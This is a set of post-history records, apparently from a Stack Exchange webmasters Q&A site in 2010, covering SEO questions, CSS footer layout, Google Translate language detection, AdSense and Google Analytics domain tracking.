  <row Id="9983" PostHistoryTypeId="3" PostId="5037" RevisionGUID="99bc8aae-e689-4980-9a3f-7754ab9cd631" CreationDate="2010-11-04T19:52:11.340" UserId="2044" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;keywords&gt;" />
  <row Id="9984" PostHistoryTypeId="2" PostId="5038" RevisionGUID="2a5c5f72-2530-4889-b3f2-52390ac25628" CreationDate="2010-11-04T19:55:51.777" UserId="1253" Text="Write the article so it makes sense to **human beings**. If you start writing content so it reads like what you *think* the search engines are looking for you're going to end up with bad content. Bad content makes getting links much more difficult to do. It also makes people leave your website which is also against your goals.&#xD;&#xA;&#xD;&#xA;Anyway, search engines are smart enough to know synonyms, prepositions, etc, for words and phrases so I would be worrying about this anyway." />
  <row Id="9985" PostHistoryTypeId="2" PostId="5039" RevisionGUID="f9c3b84c-23fa-493d-9b93-865e1d9e4ce3" CreationDate="2010-11-04T19:57:21.993" UserId="233" Text="There used to be rules about not having more than 100 links per page, but that is no longer relevant - the average page on Wikipedia has over 300 links. So link whatever feels natural within the page content.&#xD;&#xA;&#xD;&#xA;If the page is only a long list of links, I would suggest keeping that old limit in mind - for usability as much as anything else. More than 100 links in a list becomes unwieldy to parse and the user can suffer from the &quot;paralysis of choice&quot;. Try and categorise too, if possible." />
  <row Id="9986" PostHistoryTypeId="2" PostId="5040" RevisionGUID="4634a280-852c-40f7-a18d-f0eda53bb365" CreationDate="2010-11-04T20:03:23.890" UserId="3022" Text="I am doing a new site and I need a footer area to appear at the bottom of the content (much like this site), but I want it to appear at the bottom of the window when there is less content than requires a scrollbar.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;http://odata.stackexchange.com/&#xD;&#xA;&#xD;&#xA;...has a footer, but on a large screen it appears in the middle of the page. I want it to attach to the bottom of the window but geet there is more text in which case it floats beneath the content.&#xD;&#xA;&#xD;&#xA;I hope I have described my problem sufficiently :-)&#xD;&#xA;&#xD;&#xA;Does anyone have any ideas or help with this?" />
  <row Id="9987" PostHistoryTypeId="1" PostId="5040" RevisionGUID="4634a280-852c-40f7-a18d-f0eda53bb365" CreationDate="2010-11-04T20:03:23.890" UserId="3022" Text="How do I get a footer to appear at bottom of window" />
  <row Id="9988" PostHistoryTypeId="3" PostId="5040" RevisionGUID="4634a280-852c-40f7-a18d-f0eda53bb365" CreationDate="2010-11-04T20:03:23.890" UserId="3022" Text="&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="9989" PostHistoryTypeId="2" PostId="5041" RevisionGUID="469e5573-2d82-4f65-af2c-ced3947c92f8" CreationDate="2010-11-04T20:03:35.140" UserDisplayName="Adrian" Text="I think that you are looking for this:&#xD;&#xA;http://drupal.org/project/email_registration" />
  <row Id="9990" PostHistoryTypeId="2" PostId="5042" RevisionGUID="5e1f2d29-feb6-4b29-b60e-26f43155241c" CreationDate="2010-11-04T20:12:29.677" UserId="480" Text="You'll be after [CSS fixed position][1] -  `position: fixed` and `bottom: 0`, [for example][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/css/pr_class_position.asp&#xD;&#xA;  [2]: http://jsfiddle.net/jP5WT/" />
  <row Id="9991" PostHistoryTypeId="2" PostId="5043" RevisionGUID="1d42b356-8d92-442e-b7d8-29a937497388" CreationDate="2010-11-04T20:23:49.100" UserId="233" Text="Several of my site's pages are appearing in search results with `[Translate this page]` next to it. When I click that it takes me to Google Translate and translates my page &quot;from Catalan to English&quot;.&#xD;&#xA;&#xD;&#xA;The pages are in English but have a couple of foreign words (actually Japanese romanisations, not Catalan) that appear to be tripping Google up.&#xD;&#xA;&#xD;&#xA;A few weeks ago I set the html tag to `&lt;html lang=&quot;en&quot;&gt;` which from research appears to be the best method to specify the language of a document. Google has cached the pages with this attribute but it is still offering to translate.&#xD;&#xA;&#xD;&#xA;More research led me to a &quot;notranslate&quot; attribute which prevents translation entirely: `&lt;html lang=&quot;en&quot; class=&quot;notranslate&quot;&gt;`. The problem now is users cannot translate from English to their desired language!&#xD;&#xA;&#xD;&#xA;Are there any other solutions that force Google to parse my site as English only?" />
  <row Id="9992" PostHistoryTypeId="1" PostId="5043" RevisionGUID="1d42b356-8d92-442e-b7d8-29a937497388" CreationDate="2010-11-04T20:23:49.100" UserId="233" Text="How can I prevent Google mistakenly offering to translate a page?" />
  <row Id="9993" PostHistoryTypeId="3" PostId="5043" RevisionGUID="1d42b356-8d92-442e-b7d8-29a937497388" CreationDate="2010-11-04T20:23:49.100" UserId="233" Text="&lt;seo&gt;&lt;google&gt;&lt;google-translate&gt;" />
  <row Id="9996" PostHistoryTypeId="2" PostId="5045" RevisionGUID="f5fbd149-b5ab-4264-a640-199a29af2c6f" CreationDate="2010-11-04T20:38:28.453" UserId="1820" Text="The other option at Rackspace besides a **Cloud Server** is **Cloud Sites**. It's $150/month for a load-balanced cluster if you think it's going to be that busy. Windows hosting provides:&#xD;&#xA;&#xD;&#xA; - Windows 2008 Server&#xD;&#xA; - .NET v2, v3, &amp; v3.5 SP1&#xD;&#xA; - IIS 7&#xD;&#xA; - MS SQL 2008&#xD;&#xA;&#xD;&#xA;The hosting plan includes:&#xD;&#xA;&#xD;&#xA; - 50 GB of scalable storage space.&#xD;&#xA; - 500 GB of monthly bandwidth.&#xD;&#xA; - 10,000 compute cycles per month.&#xD;&#xA; - 24 x 7 x 365 support via live chat, phone, email or ticket&#xD;&#xA;&#xD;&#xA;The nice thing about this approach is it can &quot;scale up&quot; (depending on what type of load your site produces. I don't think the database or storage &quot;scale&quot; like the web servers do). &#xD;&#xA;&#xD;&#xA;At least this way you can get some load testing ideas (which you should do if you're expecting high traffic) on your setup now before you actually release it. Depending on what you find you can plan out more site work (eg. caching) or infrastructure the site needs (eg. database read replicas, CDN, etc.)&#xD;&#xA;&#xD;&#xA;http://www.rackspacecloud.com/cloud_hosting_products/sites" />
  <row Id="10003" PostHistoryTypeId="2" PostId="5048" RevisionGUID="1e65cd41-2690-4a41-8bc1-088b35cc5024" CreationDate="2010-11-04T21:28:41.903" UserId="2293" Text="The best tutorial I know about it: http://matthewjamestaylor.com/blog/keeping-footers-at-the-bottom-of-the-page" />
  <row Id="10004" PostHistoryTypeId="2" PostId="5049" RevisionGUID="3a683af8-6875-46ce-9826-07c61436d9dc" CreationDate="2010-11-04T21:31:15.863" UserId="218" Text="You should add the meta tag&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;content-language&quot; content=&quot;en&quot; /&gt;&#xD;&#xA;&#xD;&#xA;You could also send the *Content-Language HTTP header* from the server if you have access to it.&#xD;&#xA;&#xD;&#xA;More info at http://www.w3.org/International/questions/qa-http-and-lang" />
  <row Id="10005" PostHistoryTypeId="2" PostId="5050" RevisionGUID="9c86ea22-8086-4123-af57-4a23ebdbe09f" CreationDate="2010-11-04T21:39:15.340" UserId="480" Text="You may be able to look at the request `Accept-Language` header to dynamically add/remove the `class=&quot;notranslate&quot;` attribute when the language string includes `en`. But [according to Web Master World][1] you can apply it selectively to only the content it affects for the 'couple of foreign words' and hopefully avoid the English/English translate box.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webmasterworld.com/google/3770439.htm" />
  <row Id="10007" PostHistoryTypeId="2" PostId="5051" RevisionGUID="6bdef9cb-d652-4fca-b285-b2b369e571e5" CreationDate="2010-11-04T23:05:04.657" UserId="3028" Text="I am working on a site that allows users to log in and enter their own information.  Each user will have their own login, and enter their own content that can only be seen by them.  It is conceptually similar to a to-do list site like Remember The Milk.&#xD;&#xA;&#xD;&#xA;I would like to use Google Adsense as a way of getting revenue from it, but from what I have read so far it has no way of handling this kind of site.  What I would want from a service like Adsense is a way to submit a set of keywords that I can extract from the user's text, and get back a set of adverts to display to the user.  There is Adsense's search facility but that has to be submitted by the user themselves - I expect if the server submitted search requests automatically it would be a fast track to getting banned from Adsense.&#xD;&#xA;&#xD;&#xA;Is there any way to do what I want using Adsense, or are there any competing ad services that will do what I want?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10008" PostHistoryTypeId="1" PostId="5051" RevisionGUID="6bdef9cb-d652-4fca-b285-b2b369e571e5" CreationDate="2010-11-04T23:05:04.657" UserId="3028" Text="How to use google adsense (or similar) for a web app with user specific content" />
  <row Id="10009" PostHistoryTypeId="3" PostId="5051" RevisionGUID="6bdef9cb-d652-4fca-b285-b2b369e571e5" CreationDate="2010-11-04T23:05:04.657" UserId="3028" Text="&lt;advertising&gt;&lt;google-adsense&gt;" />
  <row Id="10010" PostHistoryTypeId="2" PostId="5052" RevisionGUID="e225a004-94c2-42bf-88b3-81f4cfc2c425" CreationDate="2010-11-04T23:13:42.633" UserDisplayName="kari_kari" Text="Greetings i would like to ask you what is the time window that amung.us calculates &quot;online&quot; users. 1 hour? 30 min? 15 min? other?????&#xD;&#xA;" />
  <row Id="10011" PostHistoryTypeId="1" PostId="5052" RevisionGUID="e225a004-94c2-42bf-88b3-81f4cfc2c425" CreationDate="2010-11-04T23:13:42.633" UserDisplayName="kari_kari" Text="amung.us and &quot;users online&quot; time window" />
  <row Id="10012" PostHistoryTypeId="3" PostId="5052" RevisionGUID="e225a004-94c2-42bf-88b3-81f4cfc2c425" CreationDate="2010-11-04T23:13:42.633" UserDisplayName="kari_kari" Text="&lt;website-analytics-tools&gt;" />
  <row Id="10017" PostHistoryTypeId="2" PostId="5054" RevisionGUID="d1fd12a8-a581-4da6-84a6-061e9c06eea8" CreationDate="2010-11-05T00:55:26.157" UserId="2288" Text="**Answer is every &quot;few seconds&quot; -- which comes from their site...** &#xD;&#xA;&#xD;&#xA;&quot;Near the top of the page, **the number of people currently on the site that these stats are for is displayed, updated every few seconds**. Below that, a timeline shows visitor trends for the previous 24 hours. You can click on it to view specific ranges in history. Under the timeline, in the left column we'll show you a few of the most popular pages right now on your website, and how many people are on each page. Beside the list to the right is a map display where people are in the world. Clicking on the list or map takes you to a more detailed stats page.&quot;&#xD;&#xA;&#xD;&#xA;**SOURCE:** [http://whos.amung.us/help/stats/#q1][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://whos.amung.us/help/stats/#q1" />
  <row Id="10018" PostHistoryTypeId="2" PostId="5055" RevisionGUID="5d5ba0ff-24d2-47e1-9d4c-6fefbfffa387" CreationDate="2010-11-05T01:05:54.163" UserId="1019" Text="I am working on a website for a photography business in town and was asked to do something I'd never considered before.  The company wants a basic webpage for it's &quot;general&quot; business -- myphotography.com, let's say -- and then a subdomain for each of their specialties: weddings.myphotography.com, portraits.myphotography.com, etc.&#xD;&#xA;&#xD;&#xA;They specifically requested that Wordpress be used and want a different theme on each subdomain.  What makes most sense to me with this setup is using multiple Wordpress installations, one for each subdomain, and interlink between them with the menus and trackbacks/pings.&#xD;&#xA;&#xD;&#xA;The last thing I want is to negatively affect SEO with this.  It seems like it should boost each individual subdomain/site.  But at the same time, the root domain is the same, so it could actually drag the entire thing down.&#xD;&#xA;&#xD;&#xA;What are your thoughts on this??" />
  <row Id="10019" PostHistoryTypeId="1" PostId="5055" RevisionGUID="5d5ba0ff-24d2-47e1-9d4c-6fefbfffa387" CreationDate="2010-11-05T01:05:54.163" UserId="1019" Text="Multiple Wordpress installs on subdomains affecting SEO??" />
  <row Id="10020" PostHistoryTypeId="3" PostId="5055" RevisionGUID="5d5ba0ff-24d2-47e1-9d4c-6fefbfffa387" CreationDate="2010-11-05T01:05:54.163" UserId="1019" Text="&lt;seo&gt;&lt;wordpress&gt;&lt;subdomain&gt;" />
  <row Id="10021" PostHistoryTypeId="2" PostId="5056" RevisionGUID="d5192e6f-e47e-48d5-8a71-4872ad18697f" CreationDate="2010-11-05T01:25:12.017" UserId="1837" Text="I'm looking for an easy way to query GA programmatically in order to display the most popular pages on my site.&#xD;&#xA;&#xD;&#xA;GA has a Data Export API, but it seems kind of complex to work with for what I want to do. Is there a simpler way or am I stuck with the Data Export API?" />
  <row Id="10022" PostHistoryTypeId="1" PostId="5056" RevisionGUID="d5192e6f-e47e-48d5-8a71-4872ad18697f" CreationDate="2010-11-05T01:25:12.017" UserId="1837" Text="Is there a simple way to query the top URLs in Google Analytics?" />
  <row Id="10023" PostHistoryTypeId="3" PostId="5056" RevisionGUID="d5192e6f-e47e-48d5-8a71-4872ad18697f" CreationDate="2010-11-05T01:25:12.017" UserId="1837" Text="&lt;google-analytics&gt;&lt;api&gt;&lt;analytics-api&gt;" />
  <row Id="10024" PostHistoryTypeId="2" PostId="5057" RevisionGUID="b182d364-da7d-48fc-bc4b-a98b2fbf765d" CreationDate="2010-11-05T01:53:12.840" UserId="1253" Text="As far as Google is concerned [there is no real difference between subdomains and subdirectories][1]. So organizing their content this way won't have any impact on SEO for their pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/subdomains-and-subdirectories/" />
  <row Id="10025" PostHistoryTypeId="2" PostId="5058" RevisionGUID="63e20a77-4d15-4ec7-ba69-86c745dfbf03" CreationDate="2010-11-05T02:09:47.273" UserId="3032" Text="If you bookmark your site on say, delicious, does it help to then ping the url on delicious that contains the bookmark to your site?" />
  <row Id="10026" PostHistoryTypeId="1" PostId="5058" RevisionGUID="63e20a77-4d15-4ec7-ba69-86c745dfbf03" CreationDate="2010-11-05T02:09:47.273" UserId="3032" Text="Does pinging the page on social bookmarking sites whre your site has been bookmarked help SEO?" />
  <row Id="10027" PostHistoryTypeId="3" PostId="5058" RevisionGUID="63e20a77-4d15-4ec7-ba69-86c745dfbf03" CreationDate="2010-11-05T02:09:47.273" UserId="3032" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;" />
  <row Id="10028" PostHistoryTypeId="2" PostId="5059" RevisionGUID="ee340d8d-f7aa-41b9-86ed-694af0b7df33" CreationDate="2010-11-05T02:18:30.027" UserId="1253" Text="No. Not only do the search engines not have this data to work with but it is so easy to manipulate that if they did have it they couldn't trust it." />
  <row Id="10029" PostHistoryTypeId="2" PostId="5060" RevisionGUID="af04e2e8-d93a-44f6-b1c3-ebf46d28c5f2" CreationDate="2010-11-05T03:18:09.253" UserId="1064" Text="&gt; Does pinging the page on social&#xD;&#xA;&gt; bookmarking sites whre your site has&#xD;&#xA;&gt; been bookmarked help SEO?&#xD;&#xA;&#xD;&#xA;If I understand correctly, you want to know whether links to your content from a blog syndication site, (i.e. blogcatalog.com) created when you use a service like pingler will increase the likelihood that your new content will be spidered by search engines - to that, I would say that links from reputable websites won't *hurt*.&#xD;&#xA;&#xD;&#xA;The way your question is worded, however, suggests that you are asking whether registering a [pingback][1] to a bookmark-tracking site when the bookmarking site links to your content is a good idea and I think this is where John Conde is suggesting that the suggested activity is not productive - issuing a pingback to a bookmarking site would essentially create [spurious metadata][2].&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Pingback&#xD;&#xA;  [2]: http://www.well.com/~doctorow/metacrap.htm" />
  <row Id="10030" PostHistoryTypeId="2" PostId="5061" RevisionGUID="774ccd51-2e03-4ec9-bae2-4dc9e197e436" CreationDate="2010-11-05T03:34:22.433" UserId="1064" Text="The Data Export API really is the simplest way to get the data from Google Analytics although you have more options - and more comprehensive data, given that Google Analytics does not track spiders or users with Javascript disabled - if you parse your own server logs.&#xD;&#xA;&#xD;&#xA;The [Data Export API Protocol][1] page includes instructions which you can test on the command line with [cURL][2] (as well as links to [Javascript, Java, and Python interface libraries][3]) and it appears as though there is also a [PHP interface library][4] at Google Code.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/gdata/1.0/gdataProtocol.html&#xD;&#xA;  [2]: http://curl.haxx.se/&#xD;&#xA;  [3]: http://code.google.com/apis/analytics/docs/mgmt/mgmtLibraries.html&#xD;&#xA;  [4]: http://code.google.com/p/gapi-google-analytics-php-interface/" />
  <row Id="10031" PostHistoryTypeId="2" PostId="5062" RevisionGUID="ebd20ffa-1ea9-4635-88fb-2563c824fe36" CreationDate="2010-11-05T04:01:24.520" UserId="3034" Text="I have a site, `www.example.com`, that displays some secure content from `forms.example.com` in iframes. To enable cross-frame navigation, pages on both sites use JavaScript to set the `document.domain` to just &quot;example.com&quot;. &#xD;&#xA;&#xD;&#xA;I am using Google Analytics on www.example.com, but the GA site is not showing any data. It indicates that the tracking code is found (the status icon is a green checkmark), but no data is reported.&#xD;&#xA;&#xD;&#xA;The GA profile lists the website as &quot;www.example.com&quot;.&#xD;&#xA;&#xD;&#xA;Is this a supported scenario? Is my script interfering with the GA code in some way?" />
  <row Id="10032" PostHistoryTypeId="1" PostId="5062" RevisionGUID="ebd20ffa-1ea9-4635-88fb-2563c824fe36" CreationDate="2010-11-05T04:01:24.520" UserId="3034" Text="Does setting document.domain via script interfere with Google Analytics?" />
  <row Id="10033" PostHistoryTypeId="3" PostId="5062" RevisionGUID="ebd20ffa-1ea9-4635-88fb-2563c824fe36" CreationDate="2010-11-05T04:01:24.520" UserId="3034" Text="&lt;google-analytics&gt;" />
  <row Id="10037" PostHistoryTypeId="5" PostId="5050" RevisionGUID="c6b593e1-e533-4f24-a02a-eea33c8d0360" CreationDate="2010-11-05T06:14:17.513" UserId="480" Comment="added 9 characters in body" Text="You may be able to look at the request `Accept-Language` header to dynamically add/remove the `class=&quot;notranslate&quot;` attribute when the language string includes `en`.&#xD;&#xA;&#xD;&#xA;[According to Web Master World][1] you can apply `class=&quot;notranslate&quot;` to only the content it affects (i.e. the 'couple of foreign words') and hopefully avoid the English/English translate box.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webmasterworld.com/google/3770439.htm" />
  <row Id="10038" PostHistoryTypeId="2" PostId="5064" RevisionGUID="e24208e0-931c-405a-90e6-07221f1d15ad" CreationDate="2010-11-05T08:11:33.503" UserId="3022" Text="I have a footer which is set to 100% width, but if i size the window smaller so a horizontal scrollbar appears, using the scrollbar shows whitespace to the right of the footer ... its not spanned 100% of the page, just the viewport.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot; class=&quot;no-js&quot;&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    	&lt;title&gt;test&lt;/title&gt;&#xD;&#xA;      &lt;meta charset=&quot;utf-8&quot;&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;body&gt; &#xD;&#xA;     &#xD;&#xA;    &lt;div id=&quot;container&quot; style=&quot;width:100%&quot;&gt; &#xD;&#xA;    	&lt;div id=&quot;body&quot; style=&quot;width:1200px;&quot;&gt; &#xD;&#xA;    		&lt;!-- Body start --&gt; &#xD;&#xA;    			&lt;h1&gt;Main content area&lt;/h1&gt;&#xD;&#xA;    &#xD;&#xA;    			&lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh.&lt;/p&gt;&#xD;&#xA;    			&lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh.&lt;/p&gt;&#xD;&#xA;    			&lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh.&lt;/p&gt;&#xD;&#xA;    		&lt;!-- Body end --&gt; &#xD;&#xA;    	&lt;/div&gt; &#xD;&#xA;    &#xD;&#xA;    	&lt;div id=&quot;footer&quot; style=&quot;width:100%; background-color:green;&quot;&gt; &#xD;&#xA;    		&lt;!-- Footer start --&gt; &#xD;&#xA;    		&lt;p&gt;&lt;b&gt;FOOTER.&lt;/b&gt; Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh.&lt;/p&gt; &#xD;&#xA;    		&lt;!-- Footer end --&gt; &#xD;&#xA;    	&lt;/div&gt; &#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;     &#xD;&#xA;    &lt;/body&gt; &#xD;&#xA;    &lt;/html&gt; &#xD;&#xA;&#xD;&#xA;Size the browser so horizontal scrollbar appears, and then scroll and you will see the footer background just stops.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="10039" PostHistoryTypeId="1" PostId="5064" RevisionGUID="e24208e0-931c-405a-90e6-07221f1d15ad" CreationDate="2010-11-05T08:11:33.503" UserId="3022" Text="Footer not stretching 100% when horizontally scrolled" />
  <row Id="10040" PostHistoryTypeId="3" PostId="5064" RevisionGUID="e24208e0-931c-405a-90e6-07221f1d15ad" CreationDate="2010-11-05T08:11:33.503" UserId="3022" Text="&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="10041" PostHistoryTypeId="5" PostId="5064" RevisionGUID="fab279a2-aa30-491d-a0e1-e88f6cf69240" CreationDate="2010-11-05T08:16:45.690" UserId="3022" Comment="Added info about whether its the right se site or not" Text="I have a footer which is set to 100% width, but if i size the window smaller so a horizontal scrollbar appears, using the scrollbar shows whitespace to the right of the footer ... its not spanned 100% of the page, just the viewport.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html lang=&quot;en&quot; class=&quot;no-js&quot;&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    	&lt;title&gt;test&lt;/title&gt;&#xD;&#xA;      &lt;meta charset=&quot;utf-8&quot;&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;body&gt; &#xD;&#xA;     &#xD;&#xA;    &lt;div id=&quot;container&quot; style=&quot;width:100%&quot;&gt; &#xD;&#xA;    	&lt;div id=&quot;body&quot; style=&quot;width:1200px;&quot;&gt; &#xD;&#xA;    		&lt;!-- Body start --&gt; &#xD;&#xA;    			&lt;h1&gt;Main content area&lt;/h1&gt;&#xD;&#xA;    &#xD;&#xA;    			&lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh.&lt;/p&gt;&#xD;&#xA;    			&lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh.&lt;/p&gt;&#xD;&#xA;    			&lt;p&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh.&lt;/p&gt;&#xD;&#xA;    		&lt;!-- Body end --&gt; &#xD;&#xA;    	&lt;/div&gt; &#xD;&#xA;    &#xD;&#xA;    	&lt;div id=&quot;footer&quot; style=&quot;width:100%; background-color:green;&quot;&gt; &#xD;&#xA;    		&lt;!-- Footer start --&gt; &#xD;&#xA;    		&lt;p&gt;&lt;b&gt;FOOTER.&lt;/b&gt; Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh.&lt;/p&gt; &#xD;&#xA;    		&lt;!-- Footer end --&gt; &#xD;&#xA;    	&lt;/div&gt; &#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;     &#xD;&#xA;    &lt;/body&gt; &#xD;&#xA;    &lt;/html&gt; &#xD;&#xA;&#xD;&#xA;Size the browser so horizontal scrollbar appears, and then scroll and you will see the footer background just stops.&#xD;&#xA;&#xD;&#xA;Any ideas? Or is this site the wrong place for web site design/development .. I did have to read the site description but it still wasnt clear, nor was the meta-discussion? Apologies if its in the wrong place." />
  <row Id="10042" PostHistoryTypeId="2" PostId="5065" RevisionGUID="f2a618de-4dae-455b-bc70-5f4e459fcc9b" CreationDate="2010-11-05T09:33:59.527" UserId="1829" Text="**Cross-post from [Stackoverflow][1]**&#xD;&#xA;&#xD;&#xA;Here's the problem I am having:&#xD;&#xA;&#xD;&#xA;Currently, we need to track across www.chess.com and secure.chess.com. However, I cannot set the domain to .chess.com because the cookie causes some problems on another domain, live.chess.com.&#xD;&#xA;&#xD;&#xA;So, to work around this, in code - I do something like this:&#xD;&#xA;&#xD;&#xA;    &lt;? if (HTTPS) { ?&gt;&#xD;&#xA;        &lt;script&gt;&#xD;&#xA;        var _gaq = _gaq || [];&#xD;&#xA;        _gaq.push(['_setAccount', 'UA-XXXXX-01']);&#xD;&#xA;        _gaq.push(['_setDomainName', 'secure.chess.com']);&#xD;&#xA;        _gaq.push(['_trackPageview']);&#xD;&#xA;        &lt;/script&gt;&#xD;&#xA;    &lt;? } else { ?&gt;&#xD;&#xA;        &lt;script&gt;&#xD;&#xA;        var _gaq = _gaq || [];&#xD;&#xA;        _gaq.push(['_setAccount', 'UA-XXXXX-02']);&#xD;&#xA;        _gaq.push(['_setDomainName', 'www.chess.com']);&#xD;&#xA;        _gaq.push(['_trackPageview']);&#xD;&#xA;        &lt;/script&gt;&#xD;&#xA;    &lt;? } ?&gt;&#xD;&#xA;&#xD;&#xA;However, this forces us to maintain 2 analytics accounts (UA-XXXXX-01 and UA-XXXXX-02) and creates a separation between HTTPS and HTTP traffic.&#xD;&#xA;&#xD;&#xA;How can I set this up so that ONE analytics account will track both secure.chess.com and www.chess.com without setting a top level cookie (.chess.com)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/4102451/multiple-domain-google-analytics-tracking-under-one-account-while-excluding-one-d" />
  <row Id="10043" PostHistoryTypeId="1" PostId="5065" RevisionGUID="f2a618de-4dae-455b-bc70-5f4e459fcc9b" CreationDate="2010-11-05T09:33:59.527" UserId="1829" Text="Google Analytics multiple domains under one account while excluding one domain?" />
  <row Id="10044" PostHistoryTypeId="3" PostId="5065" RevisionGUID="f2a618de-4dae-455b-bc70-5f4e459fcc9b" CreationDate="2010-11-05T09:33:59.527" UserId="1829" Text="&lt;google-analytics&gt;" />
  <row Id="10045" PostHistoryTypeId="2" PostId="5066" RevisionGUID="6af26c2e-e6a5-45ee-b02c-8a6ad2e75872" CreationDate="2010-11-05T09:37:42.127" UserId="2713" Text="it's because the body tag has always 100% width of the window as default. In your case it means, that your #container tag has also 100% width of the body tag (the window), and so does also your #footer. The DIV #body is broader than the body. You can test it with Firebug.&#xD;&#xA;&#xD;&#xA;Try to give min-width: 1200px; to the body tag, and you'll be fine.&#xD;&#xA;&#xD;&#xA;Good luck,&#xD;&#xA;&#xD;&#xA;Adam" />
  <row Id="10046" PostHistoryTypeId="2" PostId="5067" RevisionGUID="bf01a622-72a1-4ebd-bd51-6f9e04c5f38d" CreationDate="2010-11-05T09:51:52.457" UserId="3036" Text="Let me begin by stating that I'm not a professional web designer. I need to create a website for a small company, owned by a friend. I want to make sure that whatever I do can be extended in the future &amp; built upon when required. I'm confused whether I should start from scratch or use a framework, such as Drupal or Joomla.&#xD;&#xA;&#xD;&#xA;Any pointers?&#xD;&#xA;&#xD;&#xA;By the way, the website has the usual suspects: products, contacts, about us, etc." />
  <row Id="10047" PostHistoryTypeId="1" PostId="5067" RevisionGUID="bf01a622-72a1-4ebd-bd51-6f9e04c5f38d" CreationDate="2010-11-05T09:51:52.457" UserId="3036" Text="Building a New Website" />
  <row Id="10048" PostHistoryTypeId="3" PostId="5067" RevisionGUID="bf01a622-72a1-4ebd-bd51-6f9e04c5f38d" CreationDate="2010-11-05T09:51:52.457" UserId="3036" Text="&lt;web-development&gt;&lt;website-design&gt;" />
